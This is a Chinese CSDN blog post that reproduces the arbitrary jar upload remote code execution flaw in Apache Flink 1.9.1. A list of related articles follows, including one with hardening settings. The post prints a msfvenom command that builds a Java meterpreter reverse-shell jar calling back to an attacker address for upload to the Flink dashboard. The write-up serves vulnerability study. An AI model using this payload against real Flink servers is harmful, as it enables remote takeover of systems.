Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

最新推荐文章于 2024-02-23 14:54:58 发布
最新推荐文章于 2024-02-23 14:54:58 发布
阅读量1.8k 收藏
点赞数
分类专栏： CVE 文章标签： 信息安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43650289/article/details/103179227
版权

Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

  • 你剥开一个很酸的橙子而感到后悔了,可对于橙子来说,那是它的一切.

漏洞概述:

攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。

漏洞版本：

至目前最新版本Apache Flink 1.9.1

漏洞复现：

1.测试环境：Flink 1.9.1 java8+
2. 生成远控制木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.224.129 LPORT=8087 -f jar > rce.jar
在这里插入图片描述
3. 将木马传入到Apache Flink里在这里插入图片描述
4.使用msf攻击模块
在这里插入图片描述

了解本专栏 订阅专栏 解锁全文 超级会员免费看
战神/calmness
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
Apache Flink RCE 漏洞复现
weixin_44508748的博客
11-24 702
介绍 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。 测试环境：Flink 1.9.1 java8+。Apache Flink 1.9.1安装包下载 https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1
Apache Flink漏洞复现
最新发布
YJ_12340的博客
06-20 1065
Apache Flink 是高效和分布式的通用数据处理平台，由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎（简单来说，就是跟spark类似）。Flink 具有监控 API，可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard，同时也可用于自定义监控工具，默认监听在8081端口。
【漏洞复现】Apache Flink RCE 漏洞复现
weixin_43486390的博客
11-30 519
0x00 简介 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。 0x01 漏洞概述 攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。 0x02 影响版本 至版本Apache Flink 1.9.1 0x03 环境搭建 目标机：47.56.x.xx（ubuntu）+Flink 1.9.1+jdk8 攻击机：1
Apache Flink 任意 Jar 包上传致 RCE 漏洞
m0_48520508的博客
12-03 286
0x00简介 Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。 0x01漏洞概述 攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的 0x
Apache-flink 未授权访问任意jar包上传反弹shell.MD
04-12
Apache-flink 未授权访问任意jar包上传反弹shell
flink1.14.3 cdc jar包
03-13
Flink 1.14.3 CDC (Change Data Capture) jar 包集合是用于实时数据流处理的一个关键组件，尤其在大数据领域，它扮演着捕捉数据库变化并将其转化为可操作流的角色。以下是对这些jar包及其相关的技术进行的详细解释：...
flink依赖jar包——解决NoClassDefFoundError: com/sun/jersey
01-22
当flink on yarn模式运行时，发生如下异常信息，需要将压缩包中的4个依赖jar包放入flink安装路径下的lib目录下。 Exception in thread "main" java.lang.NoClassDefFoundError: ...
【学习笔记】Apache Flink任意Jar包上传导致RCE
lx_lyt的博客
11-19 616
Apache Flink任意Jar包上传导致RCE 一、简介 Apache Flink是一个用于分布式流和批处理数据的开放源码平台。Flink的核心是一个流数据流引擎，它为数据流上的分布式计算提供数据分发、通信和容错功能。Flink在流引擎之上构建批处理，覆盖本地迭代支持、托管内存和程序优化。近日有安全研究人员发现apache flink允许上传任意的jar包从而导致远程代码执行。 二、影响范围 ...
Apache Flink RCE漏洞复现(任意 Jar 包上传)
Li-D的博客
08-31 3181
漏洞描述 Apache Flink Dashboard 默认无需认证即可访问，攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。 影响版本 Apache Flink <= 1.9.1 环境搭建 操作系统： Windows10 操作环境： Apache flink 漏洞版本： Apache flink 1.9.1 搭建过程： （1）下载flink (https://archive.apache.org/dist/flink/flink-1.9.
复现CVE-2020-17518——Apache Flink upload 远程命令执行漏洞
记录并分享学习安全的知识点..
10-01 700
复现CVE-2020-17518——Apache Flink upload 远程命令执行漏洞
Apache Flink 文件上传漏洞 CVE-2020-17518 漏洞复现
Senimo
07-28 1719
Apache Flink 文件上传漏洞 CVE-2020-17518 漏洞复现一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考链接 一、漏洞描述 ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。 ApacheFlink 1.5.1 引入了 REST 处理程序，允许您通过恶意修改的 HTTP 头将上载的文件写入本地文件系统上的任意位置。 二、漏洞影响 1.5.1 < ApacheFlink < 1.11.2 三、漏洞复现 1、环境搭建
Apache Flink 文件上传漏洞（CVE-2020-17518）
weixin_53639243的博客
02-23 282
Apache Flink 是一个开源的流处理框架，具有强大的流处理和批处理能力。Apache Flink 1.5.1 引入了一个 REST 处理程序，允许您通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。
被动扫描工具（myscan）
lza20001103的博客
08-29 1696
被动扫描工具（myscan） 文章目录被动扫描工具（myscan）前言运行原理演示地址如何运行检测插件优势与不足 前言 myscan是参考awvs的poc目录架构，pocsuite3、sqlmap等代码框架，以及搜集互联网上大量的poc，由python3开发而成的被动扫描工具。 此项目源自个人开发项目，结合个人对web渗透，常见漏洞原理和检测的代码实现，通用poc的搜集，被动扫描器设计，以及信息搜集等思考实践。 运行原理 myscan依赖burpsuite和redis，需启动redis和burpsuite插
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 5393
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
Apache Flink任意Jar包上传导致远程代码执行漏洞复现
good good study
01-08 3319
目录 apache flink 影响范围 站点特点 docker搭建flinkhua环境 漏洞复现 简单的漏洞检测脚本 漏洞利用exp apache flink Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序，Flink的流水线运行时系统可以执行批处理和流处理程序。 2019年11月11号，安全工程师Henry Chen披露了一个Ap...
漏洞复现----13、Apache Flink 文件上传漏洞 (CVE-2020-17518)
七天
11-09 3343
文章目录一、Apache Flink简介二、漏洞简介三、漏洞复现四、上传jar包getshell 一、Apache Flink简介 Apache Flink 是一个框架和分布式处理引擎，用于在无边界和有边界数据流上进行有状态的计算。Flink 能在所有常见集群环境中运行，并能以内存速度和任意规模进行计算。Apache Flink 是一个分布式系统，它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器，例如 Hadoop YARN、 Apache Mesos 和 Kubernetes，但
apache flink文件上传漏洞修复
05-20
Apache Flink是一个分布式流处理框架，从版本1.0.0到1.4.0存在文件上传漏洞，攻击者可以通过该漏洞上传恶意文件并在服务器上执行任意代码，造成严重的安全风险。以下是修复该漏洞的步骤： 1.升级Apache Flink版本至1.4.1及以上版本，因为该版本已经修复了文件上传漏洞。 2.移除flink-runtime-web模块，因为该模块是漏洞的根源。可以通过修改pom.xml文件中的依赖关系来实现该操作。 3.禁用Flink的Web UI界面，因为该界面是攻击者上传恶意文件的入口。可以通过修改conf/flink-conf.yaml文件中的配置来实现该操作，具体内容如下： ``` #disable flink web ui web.submit.enable: false ``` 4.限制Flink集群的访问权限，防止未授权的用户上传恶意文件。可以通过修改conf/flink-conf.yaml文件中的配置来实现该操作，具体内容如下： ``` #set flink rest api host and port rest.address: 127.0.0.1 rest.port: 8081 #set flink jobmanager rpc address and port jobmanager.rpc.address: 127.0.0.1 jobmanager.rpc.port: 6123 ``` 以上是修复Apache Flink文件上传漏洞的步骤，建议尽快采取措施以保证系统安全。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

战神/calmness

你的鼓励是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值